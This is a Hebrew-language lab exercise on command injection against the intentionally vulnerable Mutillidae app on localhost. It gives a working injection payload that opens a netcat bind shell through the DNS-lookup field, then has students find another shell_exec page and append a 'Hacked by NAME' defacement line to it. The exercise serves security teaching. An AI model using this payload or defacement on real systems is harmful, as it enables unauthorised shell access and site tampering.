הזרקת פקודות

מבוא:

בתרגיל זה נתרגל את ההתקפה "הזרקת פקודות". התקפה זו מאפשרת לתוקף מרוחק להריץ פקודות באמצעות הזנת ערכים משובשים לשדות טקסט בעמוד אינטרנט. הרבה פעמים אחרי מציאת חולשה התוקף ינסה לאתר באמצעותה חולשות נוספות או ליצור חולשות שלא היו קיימות קודם. זאת כדי לאפשר תקיפה גם לאחר תיקון החולשה המקורית. מסיבה זו, אחרי תיקון חולשה, יש לוודא לכל הפחות שלא קיימות חולשות דומות ושלא הוחדרו חולשות חדשות.

בתרגיל זה:

1. נשתמש בחולשה שהוצגה בהרצאה כדי לאתר דף נוסף שמכיל חולשה דומה
2. נשתמש בחולשה בדף הנוסף כדי להוסיף אליו כיתוב חדש

הוספת כיתוב נעשית הרבה פעמים ע"י תוקפים ללא מטרות זדון, כדי להוכיח למחזיקי עמוד אינטרנט שקיימת בו פרצת אבטחה, אותה ניתן לנצל למטרות זדוניות.

הוראות:

1. היכנסו לכתובת:
   http://localhost/mutillidae/index.php?page=dns-lookup.php

2. הכניסו לשורת החיפוש
   localhost; mkfifo /tmp/pipe; sh /tmp/pipe | nc -l 4444 > /tmp/pipe
   הבחינו בכך שדפדפן האינטרנט מראה כי העמוד נמצא בטעינה

3. פתחו את שורת הפקודה והריצו את הפקודה הבאה:
   nc localhost 4444

4. כתבו pwd וודאו שבתגובה נכתב על המסך
   /var/www/html/mutillidae

5. חפשו קובץ נוסף עם חולשת "הזרקת פקודות", כלומר קובץ php. שמכיל את המחרוזת shell_exec

6. סגרו את הדפדפן ופתחו אותו מחדש

7. בהנחה שמצאתם את החולשה בקובץ שנקרא x.php היכנסו לכתובת:
   http://localhost/mutillidae/index.php?page=x.php

8. נצלו את החולשה כדי להוסיף לקובץ x.php (באמצעות <<) את השורה
   <h1>Hacked by NAME</h1>
   החליפו את NAME בשם/שמות שלכם

9. היכנסו שוב לכתובת
   http://localhost/mutillidae/index.php?page=x.php
   ודאו שאכן מופיע הכיתוב Hacked by NAME

הוראות הגשה

1. יש להגיש צילום מסך (תמונת JPG/PNG) בו נראה הכיתוב וכתובת הדף עם השמות.
2. שם הקובץ צריך לכלול את מספרי ת.ז. של כל חברי הקבוצה.

בהצלחה!